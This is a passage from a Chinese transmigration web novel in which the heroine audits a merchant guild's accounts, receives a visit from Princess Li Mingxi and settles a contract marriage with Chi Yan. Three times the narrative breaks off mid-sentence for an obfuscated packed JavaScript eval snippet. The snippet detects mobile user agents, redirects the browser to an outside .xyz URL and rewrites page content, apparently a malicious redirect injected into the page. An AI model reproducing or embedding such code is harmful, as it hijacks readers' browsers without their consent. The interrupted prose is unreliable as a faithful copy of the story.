她眼前又浮现李夫人那双淬毒般的眼睛。方才在灵堂,那位未亡人看她的眼神,活像要将她生吞活剥。 可翻遍记忆,无论是她还是原主,与李掌柜都不过是点头之交,再怎么样,李夫人都不该对她如此怨恨。 除非……有人刻意将祸水引到她身上。 兰绛佩从袖中取出几块碎银,厢官却摆手婉拒,只道:“李夫人声称,近日祝府下人屡次寻访李掌柜,便认定此事与您有关,下官只是例行问询。” 她示意随从呈上一枚青色穗饰:“这是李夫人提供的证物,声称是贵府仆役常佩之物。经查验,确与贵府制式相同。” 祝凌霜接过穗饰,兰绛佩立即解下腰间所佩递上。 两相确实一模一样,长度、颜色,包括祝府标志性的杏花徽记,都完全相差无几。 厢官又道:“总归李掌柜是自缢,与县主确实并无直接关系。单凭此物,无法对县主造成影响。县主不必太过忧心。” 祝凌霜展颜:“那便谢过大人了。” 待厢官走远,兰绛佩蹙眉道:“什么下人?没有您的吩咐,府上之人怎么可能与李掌柜接触?这分明是……” “是栽赃。”祝凌霜低声截住她的话,目光转向回廊转角。 一个小厮行迹鬼祟,状似在悬挂白帷,却频频往这边张望。 她忽然提高声音:“备轿,去商会。” 行至府门外,祝凌霜却拉着兰绛佩拐进侧巷。果然见那小厮急匆匆追出来,左右张望不见人影,急得直搓手。 待小厮朝商会方向奔去后,祝凌霜才悠悠从转角出来,抱臂叹道:“比我还急。” 在原书里,李掌柜的死分明是被其余几个掌柜伪装成了他杀,用于嫁祸原主。可现在怎么变成了自缢? 况且…… 祝凌霜低头凝视着手中的青穗。 这分明是用来栽赃的证物,却透着说不出的蹊跷。 似乎本就准备好了嫁祸用的东西,可最重要的“他杀”却变成了“自杀”? 这又是为什么? 本来她都准备好向厢官甩出自己和手下的不在场证明了,结果根本用不上。 思绪未竟,一阵辘辘车轮声由远及近。她抬眼时,那辆熟悉的马车已稳稳停在了面前。 一只修长的手挑起车帘一角,露出一截青色衣袍。车上之人,正垂眸看她。 将青穗收回袖中,祝凌霜弯眼而笑:“换好衣服了?” 池砚有些不太习惯这身衣服,略显局促地捏了捏锦缎袖口,轻轻颔首。 祝凌霜钻进马车,在见到池砚一身新装后,不由得眼前一亮。 与他之前艳丽的红衫差别甚远,换了一袭靛青锦袍,银线暗纹在袖口衣襟间若隐若现,衬得整个人愈发清贵端方。先前随手绾起的长发也重新用银簪束好。 只是那挺直的脊背稍微僵硬,显然还未适应这般打扮。 “很适合你。”祝凌霜笑吟吟在里处坐下,“自己挑的?” 来李宅的路上时,祝凌霜顺道拐了趟名下的成衣铺,让池砚先挑身合适的衣服换上。毕竟,总不能让人一直作花倌装束。 池砚摇头:“铺中人挑的。” 祝凌霜赞道:“眼光不错。下次再去让那人给你挑几身。” 池砚道:“已经选了三套,够多了。” 祝凌霜笑道:“那怎么行?你今后在外身份暂时是我的夫郎,我若让你成日只有三套衣装,岂不让别人看了笑话?” 池砚不自在地拢了拢袖。 祝凌霜挑眉道:“还是说,你更喜欢那套红纱……” 听她提起那套不甚得体的衣服,池砚无奈:“没有。再挑便是了。” 他重新理了理衣袍,抬眼问道:“眼下情形如何?” 望向窗外流动的街景,祝凌霜语气平静:“李掌柜这一去,商会里怕是暗流涌动。而她,不过是被人推到明处的棋子罢了。” 池砚道:“那现在……” 祝凌霜收回目光,莞尔道:“现在,是时候去会会那些老狐狸了。” . 祝凌霜带着池砚踏入商会正厅。 几位大掌柜聚在一处窃窃私语,见她进来,顿时噤若寒蝉,各自退开。 脸上堆好殷勤的笑容,米粮掌柜上前迎道:“县主今日大驾光临,可是有什么要紧事?若有吩咐,派人传个话便是。” 一旁的盐行掌柜随即附和道:“是啊,县主日理万机,这些琐事何必亲自过问……” 祝凌霜目光扫过众人,在绸缎掌柜身上略作停留。 角落阴影处,绸缎掌柜面色阴郁,见祝凌霜目光扫来,立刻低头佯装整理衣袖。 “诸位倒是清闲。”祝凌霜缓步走向主位,“李掌柜尸骨未寒,你们倒有闲心在这儿说笑。” 堂内气氛骤然凝滞。 祝凌霜不紧不慢坐下,取出那枚伪造的青穗:“李夫人拿着此物喊冤,说是我祝府逼死了他妻主。” 她指尖一点,青穗轻飘飘落在绸缎掌柜面前,“祝府服饰向来由绸缎庄负责,这穗饰你作何解释?” 看着飘在自己眼前的穗饰,绸缎掌柜额角渗出细密汗珠,强笑道:“这青穗确实出自缎庄,许是县主府上哪位侍从掉了的。” 料到绸缎掌柜必有说辞。一枚青穗确实定不了她的罪,横竖商会要大换血,现在倒也没有深查的必要。 于是祝凌霜开门见山:“今日我来,只是想看看商会的账目罢了。烦请诸位将总账取来一观。” 闻言,几位掌柜对视一眼,米粮掌柜率先开口:“县主放心,账目都是按老规矩记的,断不会有半分差错。若是县主手头紧,属下这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283145|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就去账房多支些银钱……” 祝凌霜不置可否:“不必了,把账本都拿来,我亲自过目。” 几位掌柜暗中交换着眼色。 上个月县主来查账时,连最简单的收支明细都看不明白,对着账本直皱眉。 米粮掌柜想起前些日子县主翻看账册时那副茫然模样,又心下稍安,战战兢兢催促下属取来账本。 往日县主来查账,多半是手头拮据,走个过场来支些银钱充门面罢了。可今日这架势,却隐隐有几分不同寻常。 她偷眼瞥向主位,见县主正漫不经心地拨弄着茶盖,那副气定神闲的模样,还是叫人心里没底。 账本递过来后,祝凌霜随手翻开,密密麻麻的字眼和账目堆砌,令她又感眼花,一时难以理清头绪。 池砚站在她身后,目光扫过账本,眉心微蹙。 他适时俯身,在她耳边低声道:“这几处,有问题。” 他指尖轻点过几处异常条目。 顺着他的指引,祝凌霜很快发现几笔大额交易的去向含糊不清,而绸缎掌柜的账目更是漏洞百出,多处关键记录竟付之阙如。 “诸位,”她合上账本,抬眸看向几位掌柜,“账目似乎有些问题?” 米粮掌柜干笑两声:“县主明鉴,账目都是按规矩记录的,怎会有差错?” 祝凌霜将账本重重搁在桌案上:“那为何绸缎庄的账目中,连最基本的交易记录都残缺不全?” 绸缎掌柜面色骤变,慌忙解释:“回县主,前些日子账房先生染病,有些账目尚未整理完毕……” “是吗?”祝凌霜笑了声,“既然如此,那我暂且先将手里这些带走,看已经整理成册的便是。” 几位掌柜闻言色变,没料到她这次竟是来真的。厅内一时鸦雀无声。 米粮掌柜勉强挤出笑容:“县主,按商会规矩,总账不得……” “规矩?” 祝凌霜冷声打断,从袖中取出东家令牌置于案上,“看来诸位这三年过得太舒坦,忘了这商会的东家究竟是谁。” 她缓步走下主位,声音不疾不徐,“你们是不是以为,裴老东家出门云游三年未归,这商会就能任由你们翻云覆雨了?” 堂内一片寂静,只听得窗外杏花簌簌飘落。 几位大掌柜皆垂头不语。最终盐行掌柜声若蚊蝇地开口:“自然……没有。” 祝凌霜懒得再与她们周旋,抬袖轻拂,账册尽数收到兰绛佩手中。 “账本我带走了。若还有疑,可亲自来找我。”她笑道,“诸位都是明白人,想必不会让我失望。那么,诸位继续忙吧。” 回到马车上,池砚借着车窗透入的天光,将账本在膝头摊开。 他修长的手指在纸页间游走,时不时停顿,在可疑处留下折痕。 随着翻阅,他的眉宇渐渐蹙起,神色凝重。 祝凌霜倾身靠近,盯着那些密密麻麻的字眼看了片刻,还是觉得头晕目眩,索性直接问道:“问题是不是很大?” 池砚的指尖停在一处:“这里。” “冬月初八这笔两千两的丝绸采买,记的是上等云纹缎。”他声音微沉,而后手指又移向另一页,“但除去进贡的部分,冬月底的库存记录里,同批相似记录却变成了次等素绫。” 他借着马车颠簸时透入的光线,又指出一处:“以及,这批剩余‘素绫’正月与二月又转手卖出,价格却比上等云纹缎还高出三成。而且……” “而且什么?” “所有有问题的交易,”池砚放下账本,“经手人都是李掌柜。” 马车缓缓停驻在府门前,檐角铜铃于风中轻响。 祝凌霜唇边未尽的话语转了个弯:“罢了,进府再细说。” 她刚踏下马车,府门处的护卫便疾步上前,单膝跪地:“禀县主,贵客已在正堂等候多时。” “哪位贵客?”祝凌霜随口问道。 护卫低声道:“是……五帝姬鸾驾。” 祝凌霜手直接一抖。 女主她……终于来了! 5. 原女主出现 五帝姬李明熙,原书中雷厉风行的女主。 当朝陛下晚年昏庸,而女主李明熙因受太子巫蛊案牵连,被逼出上京,蛰伏越州。 到越州不久,她便以雷霆手段肃清越州官场,吞并越州大小商会,暗中培植势力。 韬光养晦三载,终借北境战事之机重返上京。她杀伐果决,步步为营,剥除淮南王羽翼,以铁血手腕整顿朝堂,倒逼陛下立她为皇储,最终问鼎九阙。 很不巧,那些被吞并的商会的苦主,正是本该在一个月前摔死的原主祝余安。 让池砚先回主院,祝凌霜立于正厅外,握了握拳,又理了理衣袖,确认仪态无误后,才示意仆役推门。 门扉轻启,她垂眸而入,余光却已悄悄瞥过主位。 那袭红衣静坐如画,青瓷茶盏飘在身前,茶雾袅袅,半掩了座上人的神色。 在她两边,伫立着面无表情的玄衣亲卫。 祝凌霜脚步一顿,躬身行礼:“微臣参见帝姬。” 礼毕,殿内却一片沉寂。她维持着姿势,袖中指尖微微发紧。 直到腰间已隐隐发酸,才听得一阵衣料摩挲的轻响。 帝姬似乎起身了。 伴随着来人缓步走近时裙裾曳地的声响,一道不带什么情绪的声音从前方传来:“免礼。” “谢帝姬。” 祝凌霜稍稍松了口气,直起身,还未抬眼,一袭金线云纹的红衣却已曳进眼帘。 她下意识屏息,视线顺着华贵的衣料一寸寸上移,最终对上了一双深不见底的眸。 李明熙眸色黑沉如墨,居高临下,站在她身前,一言不发,只神情淡漠地打量着她。 那目光如有实质,沉甸甸压得人脊背生寒。 祝凌霜眸子一颤,心道真不愧是女主啊,刚二十出头眼神就已有这般威慑力…… 她受不住这般压迫,长睫一垂,正要避开,下颌却骤然一痛! 李明熙竟直接攥住她的下颌,迫使她抬头。 力道分明不轻不重,却让她连呼吸都滞住。 四目相对,盯着她瞧了半晌,李明熙微微蹙眉,眼底的疑惑全然不加掩饰,似在确认什么,既不松手又久久未语。 满室死寂,连兰绛佩跪在一旁都绷紧了背脊。 正当祝凌霜思绪飞转时,李明熙忽然松了手。 “坐。”她淡淡道,转身重回主位。 兰绛佩连忙起身,扶着双腿微软的祝凌霜在下首坐下。 祝凌霜借着她的力道缓缓落座,凝着灵力的手微抖,捧起茶盏浅啜一口,温热的茶水却压不下她心头悸动。 抬眸间,又对上李明熙戏谑的目光。那眼神如猫戏鼠,偏还带着几分探究。 祝凌霜一念千转,李明熙迟了将近半月才到越州,今日又突然登门,莫非商会背后的暗涌当真与她有关? 说来,若非自己穿越而来令原主“死而复生”,此刻的李明熙怕也早已在暗中筹谋,要将这无主的越州商会尽数收入囊中。 越州商会在原书中本就是李明熙的一大臂助,即便原主尚在人世,李明熙应当也定会想办法将其掌控。 如此想来,先前种种,恐怕皆是李明熙在暗中施压,意在逼自己知难而退,主动交出商会大权。 祝凌霜捧起茶盏浅抿一口,借着氤氲茶雾遮掩思虑的神色。 “县主这茶倒是特别。” 李明熙忽然开口,指尖轻敲过杯沿,“用的是越州特有的明前茶?” 祝凌霜心头微动,这茶确是稀罕物,往年都作为贡品送入京城。 “帝姬好眼力,这是去年……” “去年贡茶名录上可没有这一味,反倒是换了些别的。县主并不知晓?” 李明熙似笑非笑地打断,“还是说越州物产,比本宫想象的更加丰饶。” 茶盏在案几上轻轻一顿。祝凌霜神色微僵,这才意识到自己说错了话。 她才穿来月余,确实不知道去年越州进贡的是什么。 只是越州贡品名录虽年年不同,但她记忆中,却一直都有这一份明前茶,这才顺口一说。 作为商会东家,连每年最重要的贡品都不知晓,足见平日里对商会事务有多疏于过问。 而那些经年累月运往各处的商品,怕更是连看都未曾看过一眼。 祝凌霜卡壳时,李明熙却笑道:“或许是本宫记错了,县主无需心慌。” 倏忽间,祝凌霜福至心灵。贡品之事不过是个幌子,而李明熙真正要试探的,是她对商会的掌控程度。 说到底,李明熙需要越州商会这个助力,与其被动等待对方步步紧逼,倒不如主动递上这把刀。 主动献上的诚意,总比被迫交出的筹码更值钱。 于是,祝凌霜不动声色转移话头:“越州富饶,商会经营多年,倒也确实有些别的稀罕物。只是近来……” 话未说完,她故意欲言又止。 李明熙倒也顺着她的话微微挑眉:“哦?但说无妨。” “只是近来商会账目混乱,李掌柜又突然离世,许多事情都理不清头绪。”祝凌霜叹气,“臣正在为此事头疼,这才不慎弄混了。” 李明熙笑道:“可惜,本宫亦对商会事务涉猎不深,否则倒很乐意指点一二。” 闻言,祝凌霜有些疑惑。 李明熙怎可能不懂商会经营?她可是万般本领事事精通,天赋点拉满了的女主,是原著中在一年内就让中州三大商会焕然一新的奇才。 此刻自己故意提及商会事务,就是想借请教之名,向这位未来的九五之尊表明归顺之意。 毕竟,李明熙想要名正言顺接手商会,还得花不少功夫,但若是作为商会东家的自己主动投诚,岂不是让李明熙更省事些? 可李明熙竟避而不谈,莫非自己会错了意? 祝凌霜前世只是个闷头写代码的普通社畜,哪里懂这些官场上的弯弯绕绕。 她脑子飞速运转,都快转冒烟了。 李明熙瞥过她变幻莫测的神色,轻笑了声,又道:“本宫初到越州,就听闻不少风言风语。” 脑里的浆糊暂时停止搅拌,祝凌霜下意识抬眸看去。 李明熙撑起下颌,不紧不慢道:“听说,县主自月余前摔了一跤后,就变了性情?” 祝凌霜心下一凛,面上却不显,从容道:“非也非也。臣荒唐了这么多年,也该收心了,毕竟这么大的商会还需臣仔细打理。” 李明熙眸光微转,笑意若有若无,打量她片刻后,抬手示意侍从呈上一个精致的雕花木匣。 “得知县主昨夜觅得良缘,本宫在来越州的路上,特意备了份薄礼。” 祝凌霜双手接过。 匣中放着一对上好的羊脂白玉佩,玉质温润,雕工精细,以红绳系着,确是上乘的新婚贺礼。 只是,昨夜刚发生的事,李明熙就知道得如此迅速,这越州城,怕是尽在李明熙掌控之中了。 祝凌霜敛下心底的骇然,道:“帝姬厚赐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283146|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣受之有愧。” “县主不必推辞。这对同心佩是京城玉工坊的手艺,寓意妻夫和睦。” 李明熙意味深长地笑了笑,“今后你我同在越州,免不了来往。知晓县主喜事,本宫自然要略表心意。” 祝凌霜有些不太明白了。这份礼倒也像是在暗中敲打她,让她知道自己的一举一动皆在对方眼里。 可李明熙既不接她投诚之意,也未明确拒绝,这般若即若离的态度,真叫人捉摸不透。 祝凌霜真想哀嚎一声:人情世故什么的,也太难琢磨了吧! 她暗自叹了口气,恭敬行礼,“微臣谢帝姬厚赐,改日定携夫郎登门致谢。” 李明熙起身欲离,却在门槛处忽而驻足:“对了。” 她回眸,眼里带着深意,“若县主急着完婚,娶正夫恐怕时日不及。纳个侧夫,倒也不失为权宜之计。” 祝凌霜心头一震,待回过神来,帝姬已翩然离去。 她连忙朝着那道远去的绯色身影再行一礼:“臣……多谢帝姬指点。” 待人完全走后,兰绛佩颤巍巍起身,擦了擦额间渗出的汗,嘀咕道:“奇怪了,昨夜之事应当没有几人知晓才是,帝姬怎会……何况,帝姬刚到越州就召见您?还是亲自来府上?这也太匪夷所思了吧。” 祝凌霜望着已经看不见人的门口,缓了又缓,才长吐一口气,“吓死我了。帝姬的威压这么重的吗?” 真、真不愧是女主大大,未来的九五之尊啊! 李明熙虽未明言接受她的投诚,但临行前的提点却已昭然若揭。 李明熙来了越州,上京城内的淮王定是坐不住了。 而那句话大概是提醒她,若是想要靠娶正夫来抵抗京中赐婚,多半是来不及。毕竟娶正夫还得有些纳采、问名等等流程,但纳侧就要简单得多。 原本时间还足够时,她打算大张旗鼓地娶正夫,好让消息传回上京。 可如今过了一月才找到成亲对象,她先前的计划也该有所改变。 现在看来,纳侧才是上策。 虽然礼节从简,但只要办得风风光光,同样能达到昭告天下,让风声从越州传到上京的效果。 所以李明熙这是在给她指路? 李明熙既肯出言提醒,说明对她的投诚之意并非无动于衷,至少还算认可。 眼下最要紧的,是赶在圣旨抵达前将婚事办妥,断了淮王的念想。 总之生死荣辱皆在一念之间,李明熙在原书中本就是最终赢家,既然知晓天命所归,又何必逆势而为? 祝凌霜端起一旁已凉的茶,茶汤映出她若有所思的面容。 如今的她手握两大优势:一是通晓剧情走向,二是掌控着越州商会的命脉。若能借此向李明熙示好,成功投入女主麾下,将来何愁没有从龙之功? 况且,她还意外收留了某位商战文男主,让他出谋划策,代为打理名下产业,岂非两全其美? 祝凌霜忽而眉眼舒展,只要牢牢抱住两位主角大腿,后半生的富贵荣华岂非唾手可得? 前世劳碌半生猝然离世,今生她定要倚仗两位主角之势,安安稳稳做个富贵闲人,躺赢到底! “县主……您为何笑得这般……”怯生生的询问打断了思绪。 祝凌霜回神,见兰绛佩正惴惴不安地偷觑着她。 祝凌霜两眼放光,一把抓住兰绛佩的双肩,猛晃了晃,“小兰,你我可就要时来运转了!” 兰绛佩:“……啊?” 6. 信任吗 稍作思量后,祝凌霜打算和池砚说说接下来的计划。 转回主院时,正见池砚独坐杏花树下翻阅账册。 越州人素爱杏花,祝府也不例外,各处都栽着杏树。 而这方僻静小院里开得最盛,满树白花如雪满枝桠。 微风过处,花瓣簌簌而落,恰好落在他靛青色的衣襟上,更有几瓣轻盈停在他执账本的指节间。 他略一停顿,指尖轻拂过纸页,将落花拂去,复又垂首细看账目。 斑驳树影在他清俊的侧颜上摇曳,案上的花瓣已堆了一小簇,而他只凝神于手中那一方账本。 祝凌霜微顿,脚步不自觉地放轻。 池砚似有所觉,忽而抬眸。 视线交错的瞬间,一片杏花恰好飘落在他眉间,又顺着玉面滑下,被他抬手接住。 “回来了。” 他放下账本起身,靛青衣袖拂落案上几片花瓣,“正好我有些字想请教。” 祝凌霜这才回神,抬步过去,道:“什么?” 池砚拿出一旁写好的宣纸,上面歪歪扭扭写着一些字,以及一些别的字符。 “噗。”祝凌霜一瞧,有些没憋住笑。 纸上字迹古怪,每一笔都落得极为认真,可组合起来却显得既生涩又刻意,像是初学稚童的笔触,偏又带着几分成年人的力道。 一种诡异的工整混着潦草,略显奇特,但祝凌霜还是出了打头的“漕”字,最后一笔拖得老长,墨迹都晕开了花。 池砚无奈摇头,轻声道:“见笑了。这里文字笔画繁复,实在难以下笔。” 虽然知道池砚已经尽力了,祝凌霜还是忍不住笑出声来,指尖轻点那个最歪斜的字。 “这笔该往左收,你倒好,直接画到纸外去了。” 说着自然地接过他手中的毛笔,指尖不经意擦过他的指节,带着杏花瓣般微凉的触感。 池砚的手指几不可察地顿了顿,下意识蜷起指尖,却又很快松开,只将目光投向她执笔的姿势。 祝凌霜蘸了蘸墨,在纸上重新写下示范:“你看,要这样运笔……” 她的手腕灵活转动,笔尖在纸上划出优美的弧线,“起笔要轻,到这里稍顿,然后……” 祝凌霜写完示范,又将狼毫笔放回池砚掌心:“可看明白了?要不要试试?” 池砚重新执笔,手指调整着握笔姿势,微蹙着眉,回忆祝凌霜方才的运笔轨迹。 他落笔时格外认真,连呼吸都放轻了几分,一笔一划写得极慢。 写罢,祝凌霜仔细瞧着。 字迹确实比先前工整了些,但笔画间的衔接仍显生硬,整体看来依旧称不上雅观。 她抿唇忍笑:“已经很不错了。” 池砚望着纸上依旧歪斜的字迹,叹了口气:“罢了。” 他放下毛笔,指尖轻点账本,“还是先说这个吧。” 祝凌霜在他对面坐下,伸手拂去落在账本上的花瓣:“如何?看出什么了?” 池砚指着账本上的一行字:“这个符号,是什么意思?” 祝凌霜凑近一看,发现那是一个小小的三角标记,旁边还写着“漕粮采买”几个字。 “按先前教我的账房先生所言,这是老掌柜们自创的标记。”她解释道,“三角代表江南来的货,圆圈则是本地采购。” 池砚眸光微动,翻到另一页:“那这里,同样的漕粮,上月标记是三角,这月却变成了圆圈,价格也从六十文涨到了八十文。” 祝凌霜皱眉:“同一批货,来源变了,价格还涨了?” 池砚没回答,只是继续翻着账本,指尖在几处字眼间来回比划。 “你可知晓掌柜们的俸禄和分红是多少?“他问道。 “我书房内有。”祝凌霜赶忙让兰绛佩去书房取来。 取来后,祝凌霜翻阅着这一册,道:“大掌柜年俸二百两,分红按利润抽一成;二掌柜年俸一百五十两……“ 池砚边听边在纸上记下数字,最后在“八十文”这个数字上重重画了个圈,“她们每月宅邸的开支多少?” 祝凌霜一愣:“俸禄分红是商会之事,自然记录在册,但宅邸开销,却是旁人私事,须得查过才是。” 池砚放下笔,道:“五十文一石采购,账目却记八十文,那三十文的差价去了何处?” 祝凌霜心下了然:“掌柜们在吃回扣。” “不止。”池砚蘸了墨,在纸上画了两个房子,“这叫‘诡名代持’,掌柜们另设空头米行,以高价与商会交易,差价落入私囊。” 祝凌霜懵懵懂懂,“什么意思?” 怎么说这些听不懂的,她可只学过计算机啊! 池砚微顿:“无妨,只需知道,她们是以虚假交易谋取私利。” “所以你的意思是……” “查他们的私宅。”池砚道,“若是俸禄二百两,宅中却摆着千两银子的物件,便是铁证。” 但他稍作思索,又蹙眉道:“可我们能用的人太少。要在短时间内查遍所有掌柜的私邸和各商行的往来账目,难度有些高了。” “如果是人手问题……不必担心。” 祝凌霜笑了笑,眼中闪过一丝狡黠,“我有大腿可抱。” 池砚一怔:“什么?” 祝凌霜笑道:“今日帝姬来访,岂非天赐良机?” 她指尖轻叩桌案,思路愈发清晰。 帝姬对她的示好态度暧昧不明,或许是在考量她的价值。 若能妥善解决商会难题,证明自己的能力,自然能得帝姬青眼;若是不堪大用,对方大可按原计划将她逼出商会。 而按本朝规制,帝姬可蓄养亲卫数十人。李明熙南下越州,身边必然带着精锐亲卫。 这些训练有素的亲卫,用来查几个掌柜的私账简直易如反掌。 想到这里,祝凌霜忽然明白了李明熙的用意。看来解决商会现下的烂摊子,反倒成了考验她的一关。 “你要向帝姬借人?”池砚道。 祝凌霜点头:“她需要商会,我需要靠山,各取所需罢了。她手下能人异士众多,查几个掌柜还不简单?” 池砚问:“她会借吗?” 祝凌霜正一手撑脸,另一只手整理案上微乱的书册。闻言,答道:“自然会借。” 借人对于李明熙来说,不过是无伤大雅的小事,按她的性子,并不会介意。 她手上不停,语气笃定,“对帝姬而言,借调几个人手不过是举手之劳。” 池砚沉默片刻,微微张嘴,似是想说什么。 祝凌霜余光瞥见后,问道:“你有话要说?” 池砚默了默,摇头道:“没有。” 祝凌霜停下手,抬眸望向他,略作思量后道:“若你有什么想法,直说便是。毕竟,我们可是要合作很长一段时间的。” 她不知道池砚为什么欲言又止,也不知他究竟想说什么。 只是,作为合作伙伴,她自然希望池砚对她多点信任。 池砚沉默少顷,道:“你就这么信任旁人……”顿了顿,又补充:“我说的不只是帝姬,还有我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283147|182554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 祝凌霜怔了怔。 一阵风过,吹得树影摇晃。池砚在斑驳光影下,神色晦暗不明。 祝凌霜终于停下手,望向他,笑道:“自然可信啊。不只是她,还有你。” 夕光映在她含笑的眼中,她言之凿凿,又神秘地凑过来,压低声音道:“总之,帝姬完全可信。跟着帝姬走,荣华富贵全都有。” 池砚不知她与李明熙在前厅究竟谈了什么,但见她眉眼间透着笃定的神色,不禁愣了愣。 明明她与自己相处不到一日,明明她与那位帝姬也只见了一面。 可祝凌霜对他的这份信任来得毫无缘由,对帝姬亦是。 望着她面上的信任神色,池砚道:“你如此轻信别人,不怕日后被背叛?” 祝凌霜闻言一顿,随即轻笑出声,反问道:“你会吗?” “我不知道。”池砚垂眸,墨色长睫掩去眼底暗涌。 前世那些过往如附骨之疽。曾经他深信之人,最终却成了推他入深渊的刽子手。信任二字,于他早已是奢侈。 可眼前人却笑道:“我信你不会。” 池砚倏然抬眸,正对上她澄澈的目光。 “我了解帝姬的全部,所以信她。” 祝凌霜托腮,杏花落在她发间,“虽只了解你的一部分,可那一部分,也足够让我托付信任。” 她眉眼弯弯:“至少在契约期间,这份信任不会变。” 池砚的指尖在袖中微微蜷缩,喉结滚动了一下。 他望着祝凌霜杏花映衬的笑靥,恍惚间想起,那时他仓皇逃窜,将她撞得从楼阶滚落。 她从楼上摔下,他满脸惊慌,可她却是安详闭眼。 后来他攥住她衣角,求她为自己赎身,她笑着应下。 本只是濒临绝望的孤注一掷,不曾想,她竟会这般相信他。 池砚呼吸微滞,问道:“你了解我的一部分?比如?” 祝凌霜眨了眨眼,笑意狡黠:“比如——你绝不会做亏本的买卖。” 池砚一怔。 前世商场对手对他的评价,如今竟从她口中说出。 “假成婚对你而言,或许是各取所需的公平交易,只能算‘并不亏本’。但对我而言,却完全是稳赚不赔。” 祝凌霜莞尔,“即便你哪天想抽身而退,我也已经赚足了好处。因此,作为合作伙伴,我对你可是十足信任。” 她拈起随风落在砚台边的杏花瓣,叠在池砚垒起的那一簇上,声音放得极轻,带着几分哄劝的意味。 “所以啊,池郎君,你也试着多相信我一些,可好?” 暮色渐沉,夕阳斜进小院,落在她含笑的容颜,连带着她发间的杏花瓣,都镀上一层柔和的金辉。 池砚忽然低笑出声,眼底的阴霾散了几分。 “好吧。” 墨发垂落肩头,他笑意冉冉,“我会的。” 祝凌霜被他的笑晃了晃,一时愣住。 池砚见她怔然不动,眼角微弯,问道:“怎么了?” 祝凌霜回神,稍稍移了眼,道:“说来,今日得帝姬提醒。本来我该娶你为正夫,由于时间紧迫,现在只能先纳为侧夫。” 池砚道:“明白了。” 祝凌霜想了想,开始盘点着接下来的待办事宜。 她屈指轻数,“其一,去库房清点聘礼;其二,明日带你去官衙上户籍;其三——” 话音突然顿住,她抬眼望向池砚。 池砚笑着接过话头:“我猜,是要给我安排住处吧?” 7. 第 7 章 祝府深阔,青瓦连绵望不到尽头。 祝凌霜带着池砚,穿行在府中。 两人一前一后走着,谁都没有开口。 祝凌霜暗自思忖着原主的往事。原主曾娶过两位正夫,却都因病早逝。 她仔细想过其中缘由,无非便是原主后院纳了不少夫侍,大多性格张扬,但对正夫却偏爱清冷病弱的类型。 可惜的是,原主每每将正夫娶进门后,很快便失去兴趣。两位正夫在妻主的冷落和后院众人的刁难下,本就孱弱的身子骨终究没能熬过这般煎熬,最终都郁郁而终。 上个月祝凌霜穿越过来后,面对满后院的夫侍着实头疼。 她给那些被强抢来的夫侍安排了刺绣等活计,提供住处后放他们离开;至于自愿留下的,则安置在外宅养着。 如今偌大的祝府中,原本住满郎侍的后院全都空了出来。 祝凌霜考虑着该把池砚安排在哪个院落。 “东厢的揽月阁?那里清幽雅致,离主院近。”她道,“还是西厢的听雪轩?临水而居,离书房近。” 池砚道:“都好。” 祝凌霜纠结了一会儿,最后道:“那还是听雪轩吧,住着舒服些。” 况且,替她在书房打工也方便…… 祝凌霜暗笑两声,带着池砚往听雪轩去。 穿过两处月洞门,映入眼帘的,是鱼池边交错的杏花、垂柳,以及一方木亭。 闲着没事时,祝凌霜也爱到此处来散心,因此亭中还摆了些鱼食。 路过木亭,祝凌霜顺手用灵力摸了把鱼食,洒进鱼池。 池中各色锦鲤一尾又一尾,很快追着荡起的涟漪而来,争相抢食。 池砚垂眸,视线落在池中嬉戏的游鱼。 祝凌霜走了几步,发现池砚并未跟上来。见他驻足,问道:“怎么了?” 池砚收回目光,摇了摇头,抬步跟上。 踏入听雪轩,下人点上烛火,暖黄的光晕渐次在屋内晕染开来。 家具摆放得宜,既不显拥挤,也不觉空荡。 祝凌霜行至书案前,轻抚过案面,转身对池砚道:“这院子闲置了些时日,里头的物件都已换新。你看看可还合意?” 池砚过来,象征性看过一圈后,微笑道:“有劳费心了。” 仆役捧着池砚先前从缎庄挑的衣物入内,府内的王管事借着送茶点的由头,也跟着挤进了门。 她佯装整理茶盘,眼角余光却不住地往池砚身上瞟。 甚至偷看愈发明显,恨不得都要将池砚盯出个对穿来。 祝凌霜见人藏着掖着的,不免疑惑:“……王姨,你做什么呢?” “没什么,没什么。”王管事笑呵呵地站在一旁,目光却始终没从池砚身上移开。 作为在祝府当差三十余年的老人,她自先城主在世时便执掌府中庶务,如今又尽心服侍县主。 见县主近日突然转了性子,开始想要认真打理商会,她心中甚慰,暗想城主与城夫人在天之灵终可安息。 谁知今天早上,忽然听闻县主又从花楼带回个男子,王管事心头一紧,生怕县主故态复萌。 正想前去劝阻,却得知县主已携人外出。偏巧帝姬突然驾到,她只得战战兢兢地接待。 